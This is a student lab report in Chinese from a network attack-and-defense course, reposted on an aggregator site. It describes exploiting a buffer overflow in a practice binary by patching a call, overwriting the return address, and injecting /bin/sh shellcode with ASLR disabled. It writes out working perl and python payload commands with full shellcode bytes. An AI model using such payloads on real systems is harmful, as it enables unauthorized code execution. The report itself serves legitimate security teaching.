20232417 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/12 22:35:17/文章来源:https://www.cnblogs.com/hyjpdj0311/p/19137423

1.实验内容

本次实验围绕 Linux 可执行文件 pwn1 的缓冲区溢出(BOF)漏洞与 shellcode 注入展开学习,核心是通过多种技术手段篡改程序执行流程,实现未授权代码执行。具体包括:直接修改程序机器指令,将 main 函数调用的目标从 foo 改为 getShell;利用 foo 函数中的 gets() 漏洞构造超长输入,覆盖栈上的返回地址,使程序跳转至 getShell 函数;在关闭系统防护机制后,精心构造输入数据,注入包含获取 shell 功能的机器代码,并通过覆盖返回地址跳转至该代码段,最终成功获得系统控制权。
整个学习过程涵盖了汇编指令分析、栈帧结构理解、内存地址计算等底层知识,实践了 gdb 动态调试、objdump 反汇编、perl/python payload 生成等多种工具的使用,深入理解了小端字节序、进程内存布局、函数调用约定等关键概念,建立了从漏洞分析到利用的完整知识体系。

2.实验过程

2.1直接修改程序机器指令,改变程序执行流程

2.1.1反汇编目标文件pwn1

使用objdump -d pwn1 | more命令对pwn1文件进行反汇编,可以得到汇编代码,我们需要关注的是getShell、main和foo函数
屏幕截图 2025-10-10 203504
屏幕截图 2025-10-10 203528
屏幕截图 2025-10-10 203544

2.1.2计算机器指令跳转所需要的补码

在main函数中,“call 8048491”这条汇编指令所对应的机器指令“e8 d7ffffff”就是指调用foo函数,即e8所代表的跳转就是在eip为下一条指令地址(80484ba)的基础上加上d7ffffff这一补码,从而得到执行位于8048491的foo函数。在以上的基础上,要想让main函数调用getShell函数,而不是foo函数,那么就要对补码的值进行修改,我们已经知道getShell函数的地址为0804847d,那么减去原地址80484ba得到的补码c3ffffff,就是我们需要的修改的内容,将原来的d7ffffff改为c3ffffff。

2.1.3修改可执行文件pwn1

现在我们来修改可执行文件,将call指令的目标地址改为getShell函数的地址,来达到调用getShell函数的目的。
首先我们将pwn1文件复制一份并且命名为pwn2,接着使用vi文本编辑器对pwn2文件进行编辑。命令如下图:
屏幕截图 2025-10-11 162113
进入文本编辑后按esc健,
屏幕截图 2025-10-11 161112
接着输入:%!xxd命令将显示模式切换为16进制模式,并且输入/d7查找要修改的内容
屏幕截图 2025-10-11 160719
将d7修改为c3,修改时注意前后对比,注意不要改错了。
屏幕截图 2025-10-11 160819
接着使用:%!xxd -r将16进制改回原来的格式后,再输入:wq退出。
屏幕截图 2025-10-11 160935

2.1.4验证结果

现在将pwn2反汇编,查看是否成功运行了getShell函数。可以看到原本main函数中call指令对应的foo函数变成了getShell函数。
屏幕截图 2025-10-11 161855
现在运行一下,来验证结果吧,输入指令./pwn2,随后输入命令ls,可以看见显示出了当前目录的文件,这样就代表着成功啦!
屏幕截图 2025-10-11 162846

2.2反汇编,了解程序的基本功能

2.2.1反汇编,了解代码

输入objdump -d pwn1 | more命令对pwn1文件进行反汇编,可以查看代码,了解到main函数调用的foo函数,有一个漏洞,foo函数在运行时需要一个输入,但系统只预留了28字节的缓冲区,那么这就代表着超出部分会造成溢出,我们就可以利用这个溢出来覆盖返回地址。

2.2.2确认哪几个字节会覆盖返回地址

输入gdb pwn1进入gdb调试,命令行如下图,在输入长字符1111111122222222333333334444444455555555后,查看程序崩溃时EIP寄存器的值:0x35353535,又因为0x35是字符'5'的ASCII码,说明第37-40字节覆盖了返回地址。
屏幕截图 2025-10-11 165130
屏幕截图 2025-10-11 165216
再次输入长字符1111111122222222333333334444444412345678,查看程序崩溃时EIP寄存器的值:0x34333231,对应“4321”的ASCII码,再次说明第37-40字节覆盖了返回地址。
屏幕截图 2025-10-11 165335
屏幕截图 2025-10-11 165406
以上过程说明第37-40字节最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell。

2.2.3确认用什么值来覆盖返回地址

首先,我们已经知道getShell的内存地址为0804847d,再加上,在第二次输入长字符时,第37-40字节为“1234”,而返回地址0x34333231对应的ASCII码却是“4321”,那么这代表着,我们在将第37-40个字符替换为getShell的内存地址时,输入的应该是11111111222222223333333344444444\x7d\x84\x04\x08

2.2.4构造输入字符串

由为不能通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。命令为perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,之后可以使用命令xxd input查看input文件的内容是否如预期。
屏幕截图 2025-10-11 170043
随后,使用(cat input; cat) | ./pwn1运行pwn1。可以看到在输入ls指令,后,成功显示出了当前目录的文件。
屏幕截图 2025-10-11 170135

2.3 注入Shellcode并执行

2.3.1准备工作

这一步我们需要为实验环境设置一下,首先需要确保pwn1文件的可执行,接着关闭地址的随机化状态。命令如下:
execstack -s pwn1(给pwn1程序添加栈可执行权限)
execstack -q pwn1(验证堆栈权限,返回值为X表示该文件的堆栈被设置为可执行状态)
more /proc/sys/kernel/randomize_va_space(检查地址随机化状态,返回为2代表随机化,返回为0则表示关闭随机化)
echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)
屏幕截图 2025-10-11 202929

2.3.2构造要注入的payload

因为我们的缓冲区足够大,所以选择结构为:nops+shellcode+retaddr。
输入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
这段命令的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,因此我们得把它改为这段shellcode的地址。接下里就需要确定shellcode的地址。
打开一个终端,运行pwn1,命令为(cat input_shellcode;cat) | ./pwn1
另外再打开一个终端,首先找到pwn1的进程号,命令为ps -ef | grep pwn1
屏幕截图 2025-10-11 205050
使用gdb调试,设置断点,确认注入地址。
屏幕截图 2025-10-11 205416
随后在另外一个终端按下回车,再输入c,接着查看栈顶指针esp,按照这个地址逐步找到shellcode的地址。
屏幕截图 2025-10-11 205748
确认之后shellcode的地址后,将返回地址改成它。随后运行pwn1,就会发现失败了。
屏幕截图 2025-10-11 203429
使用si指令逐条排查,就会发现Shellcode存放的位置和程序运行时的栈顶离得太近了。当Shellcode自己执行“压栈”(push)操作时,栈顶会下移,刚好把后面还没执行的Shellcode代码给覆盖掉,导致程序崩溃。

2.3.3重新开始

这一部分我没有按照实验指导中的来做,一开始,我在进行bgd调试时,无法成功注入shellcode,但是我没有意识到这一点,执着于寻找注入成功后的代码标识以及shellcode的地址,这自然是找不到的,所以后来我用了另外的途径来完成这一部分。实在是没招了
首先啊,由于我在上述原因的情况下的不断尝试,所以我的input_shellcode文件变得非常大,所以我删除了这一个文件(使用命令rm -f input_shellcode_nop
并且重新创建了一个正确大小的文件(使用命令python2 -c 'print "A"32 + "\xb0\xd3\xff\xff" + "\x90"100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_nop
image
再进行调试,使用命令echo -e "break *0x080484ae\nrun < input_shellcode_nop\nx/60wx $esp-0x70\nc" | gdb -q ./pwn1,找到shellcode地址
image
随后运行python2 -c 'print "A"32 + "\xe0\xd3\xff\xff" + "\x90"100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_final命令,触发缓冲区溢出,跳转到NOP雪橇,最终执行shellcode获得系统控制权。
随后再运行pwn1文件,输入ls指令,可以看见当前目录的文件,说明成功啦!
屏幕截图 2025-10-12 112020

3.问题及解决方案

  • 问题1: 在将pwn1文件移动到虚拟机之后,由于实验需要再root目录下运行文件,所以要将桌面的文件移动到root目录下,然而当我直接在文件系统中移动,系统提示我没有权限
  • 问题1解决方案:在桌面右键,会出现一个以root用户打开,点击然后输入密码,就可以将文件到root目录下了。
  • 问题2:在实验初期,我过于依赖教程中的固定参数,直接使用网页上的内存地址0xffffd320,导致多次攻击失败。
  • 问题2解决方案:首先是通过反汇编分析计算出字节偏移量,然后通过询问ai理解小端序存储方式,正确构造内存地址,最后使用NOP雪橇增大攻击成功率,最终成功获得shell权限。
  • 问题3:关于execstack的下载
  • 问题3解决方案:首先尝试了老师在群里发的命令行,结果不行,提醒我找不到相应的命令,于是准备登录网页,发现网页的登录也失效了,于是在询问了ai后,它给了我一个,可执行的execstack二进制文件,命令如下:curl -O http://old-releases.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1_amd64.deb,随后就可以安装下载的deb包,命令如下:sudo dpkg -i execstack_0.0.20131005-1_amd64.deb

4.学习感悟、思考等

通过本次缓冲区溢出漏洞实验,我深刻体会到理论与实践之间的巨大鸿沟。首先,初次使用kali虚拟机,对于许多操作都有些生疏,其次,对于实验的了解不够深入,这也是我后来实验失败的原因,但是好在在同学以及ai的一步步的指导下,我从最初机械地复制教程命令,到后来学会使用GDB动态分析内存布局,从遭遇无数次段错误的挫败,到最终成功获得shell权限的喜悦,这个过程让我真正理解了栈溢出的本质。我认识到,网络安全研究不仅需要掌握攻击技术,更需要培养严谨的实验态度和系统的问题排查能力。

参考资料

  • 《逆向与Bof基础》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935757.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025黄金回收品牌TOP5权威榜单:值得信赖的高性价比厂家

2025黄金回收品牌TOP5权威榜单:值得信赖的高性价比厂家随着黄金市场的不断升温,黄金回收行业也迎来了新的发展机遇。越来越多的企业和个人开始关注黄金回收,希望通过这一渠道实现资产的有效管理和增值。然而,在众多…

P6005 [USACO20JAN] Time is Mooney G 题解

题目描述 Bessie 正在安排前往牛尼亚的一次出差,那里有 \(N\)(\(2 \leq N \leq 1000\))个编号为 \(1 \ldots N\) 的城市,由 \(M\)(\(1 \leq M \leq 2000\))条单向的道路连接。Bessie 每次访问城市 \(i\) 都可以赚…

3.2 优势演员–评论家算法(Advantage Actor-Critic, A3C)

优势演员–评论家算法(Advantage Actor-Critic, A3C)演员–评论家(Actor–Critic)算法 策略梯度定理提供了一种能够基于单步转移估计梯度的架构: \[\nabla_\theta J(\theta) = \mathbb{E}_{s \sim \rho_\theta, a…

20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告 1. 实验内容 1.1 缓冲区溢出漏洞核心定义:程序向预设缓冲区写入数据时超出容量,溢出数据覆盖相邻内存(如函数返回地址、栈底指针ebp),最终篡改程序执…

[数据分析/BI] Microsoft Power BI 使用指南

1 概述:Power BI 什么是 Power BI?Power BI 是由微软发布的一款商业智能(BI)软件,或者说数据分析工具。Microsoft Power BI 是一个完整的报表解决方案,通过开发工具和联机平台提供数据准备、数据可视化、分发和管…

机器人技术在现实世界中的挑战与创新

本文探讨了在现实环境中构建与人类互动的机器人系统所面临的技术挑战,包括开放世界的不确定性、持续学习、多机器人协作以及人机共存等问题,涉及机器学习模型优化、系统架构设计和安全交互等核心技术。机器人技术在现…

Motorola和Inter的区别

位的顺序 MSB: Most Significant Bit 最高有效位,一个二进制数的最左边的那一位,他拥有最高的权重,他的值是1还是0对整个数的影响最大。2的N-1次方。 LSB: Least Significant Bit 最低有效位,一个二进制数的最右边…

设计模式-行为型设计模式(针对对象之间的交互) - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

ROS2之TF

TFTF(Transform Frame) 是 ROS2 中用于维护多个坐标系之间空间关系的坐标变换系统。它可以实时跟踪机器人各个部分(如底盘、传感器、地图等)在三维空间中的位置与姿态,通过建立一棵动态的 坐标变换树(TF Tree),…

代码源2025长训

10/9 Day 16 A:非常可惜写的35pts暴力全部没分,也是神人了。首先需要一个小分讨,如果原树有双重心那么就会有如下情况:该边后的双重心不变和有可能改变;如果不变的情况就是说,对于双重心 \((u,v)\) ,我们加减边…

代码源国庆模拟赛

ABC 423 做题顺序a->b->c->d->c->d->c->e->d,吃了C*3+D*6共9发罚时,全部WA*1 C把一个减号左右两边写反导致出现负数爆炸了 D:能用prique别用set,常数大还会把元素去重,元素去重是很关键的…

CSP-S模拟30 2025.10.12

A. 灯若辰星 题面link 赛时 一眼看出\(F\)属于第一类斯特林数,但\(G\)死活找不出规律QAQ。 然后又没对\(F mod 2\)进行分讨,0pts遗憾离场。。。 正解 让我们分开求解 F 手搓几个样例可发现其中的递推关系 rt: 考虑以…

记录fiddler抓包mumu模拟器

fiddler设置设置完成后导出证书放入mumu模拟器的共享文件夹mumu模拟器设置 证书安装然后选中共享文件夹里的证书进行安装即可 代理设置代理主机名为电脑ip地址,代理端口为上述fiddler配置的端口号 配置完毕后即可抓包…

深入解析:2025年真实手机牧场CC攻击破防游戏盾?四维防御体系全面升级!

深入解析:2025年真实手机牧场CC攻击破防游戏盾?四维防御体系全面升级!pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

神经网络读书报告

神经网络是模拟生物神经系统结构与功能的人工智能模型,其核心思想源于对人类大脑神经元连接机制的仿生设计。自 20 世纪 40 年代 “感知器” 概念提出以来,神经网络经历了 “兴起 — 低谷 — 复兴” 的多轮迭代,如今…

MinIO 介绍(2)--MinIO 客户端 mc 基本功能

本文主要介绍 MinIO 客户端 mc 的基本功能;文中所使用到的软件版本:mc RELEASE.2025-07-21T05-28-08Z、Centos 8.5.2111。 1、mc 介绍 1.1、mc 安装 这里主要介绍 mc 在 Linux 环境下的部署;可通过如下地址下载 mc …

关于UE5基础关卡创建的注意点

关于UE5基础关卡创建的注意点ue5 中解决一个一个map的加载问题(增加了开放世界支持),进行将整个单个map划分为多份map,来设定成为角色在哪个部分就加载哪个部分map制作一张新地图 选择open world组成了天气 第一个…

2025年10月恒温恒湿系统厂家最新推荐榜单,精加工车间/厂房/美术馆/仓库/计算机房/档案室/工业/工厂车间恒温恒湿空调系统公司推荐

2025年10月恒温恒湿系统厂家最新推荐榜单,精加工车间/厂房/美术馆/仓库/计算机房/档案室/工业/工厂车间恒温恒湿空调系统公司推荐随着科技的不断进步和各行各业对环境控制要求的提高,恒温恒湿系统在多个领域中的应用…